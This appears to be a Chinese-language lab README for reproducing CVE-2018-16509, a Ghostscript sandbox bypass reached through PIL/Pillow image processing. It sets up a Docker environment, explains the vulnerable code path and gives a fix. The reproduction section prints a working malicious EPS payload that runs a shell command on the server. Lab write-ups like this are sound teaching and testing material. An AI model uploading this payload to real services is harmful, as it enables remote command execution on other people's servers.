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python/PIL-CVE-2018-16509/README.zh-cn.md
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python/PIL-CVE-2018-16509/README.zh-cn.md
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# Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509)
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[English](README.md)
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PIL/Pillow 是 Python 中广泛使用的图像处理库。
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在 Ghostscript 9.24 版本之前,存在一个 -dSAFER 沙盒绕过漏洞(CVE-2018-16509),攻击者可以通过构造恶意的图片文件,在图片处理过程中执行任意命令。这个漏洞影响了使用 Ghostscript 进行图像处理的多种应用,包括 Python 的 PIL/Pillow 库。当应用程序使用 PIL/Pillow 处理用户上传的图片时,若环境中安装了存在漏洞的 Ghostscript,则可能导致远程命令执行。
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参考链接:
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- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
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- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
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- [Ghostscript 沙箱绕过漏洞分析](https://paper.seebug.org/1159/)
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## 环境搭建
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执行如下命令启动一个包含漏洞的 Flask 应用(使用 Ghostscript 9.23 版本):
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```
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docker compose up -d
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```
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环境启动后,访问 `http://your-ip:8000` 即可看到一个简单的图片上传页面。
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## 漏洞复现
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准备一个恶意的 EPS 文件(本环境中已提供 `rce.jpg`),其内容如下:
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```
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%!PS-Adobe-3.0 EPSF-3.0
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%%BoundingBox: -0 -0 100 100
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userdict /setpagedevice undef
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save
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legal
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{ null restore } stopped { pop } if
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{ legal } stopped { pop } if
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restore
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mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
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```
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访问 `http://your-ip:8000`,上传这个文件。
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上传后,服务器会使用 PIL/Pillow 处理这个图片,在调用 `resize` 函数时会触发漏洞,执行 `touch /tmp/got_rce` 命令。
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执行以下命令验证漏洞是否成功利用:
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```
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docker compose exec web ls -la /tmp/
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```
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如果看到 `/tmp/got_rce` 文件,则说明命令执行成功。
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## 漏洞分析
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漏洞的核心在于 PIL/Pillow 在处理 EPS 图像时会调用系统的 Ghostscript 程序。在 `EPSImagePlugin.py` 中,PIL 使用 `subprocess` 调用 Ghostscript:
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```python
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command = ["gs",
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"-q", # quiet mode
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"-g%dx%d" % size, # set output geometry (pixels)
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"-r%fx%f" % res, # set input DPI (dots per inch)
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"-dBATCH", # exit after processing
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"-dNOPAUSE", # don't pause between pages
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"-dSAFER", # safe mode
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"-sDEVICE=ppmraw", # ppm driver
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"-sOutputFile=%s" % outfile, # output file
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"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
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# adjust for image origin
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"-f", infile, # input file
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"-c", "showpage", # showpage
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]
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```
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虽然使用了 `-dSAFER` 参数,但 Ghostscript 9.24 版本之前存在沙盒绕过漏洞,攻击者可以通过特制的 PostScript 代码执行任意命令。
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在示例应用中,当图片上传后,会进行如下处理:
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```python
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img = Image.open(img_path)
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w, h = img.size
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ratio = 256.0 / max(w, h)
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resized_img = img.resize((int(w * ratio), int(h * ratio)))
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resized_img.save(img_path)
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```
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仅调用 `Image.open()` 不会触发漏洞,但当调用 `resize()` 或 `save()` 等需要实际加载图片数据的方法时,会触发 Ghostscript 的调用,从而执行恶意命令。
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要修复此漏洞,需要更新 Ghostscript 到 9.24 或更高版本,或者在使用 PIL/Pillow 处理用户上传的图片时,禁用 EPS 图像处理功能。
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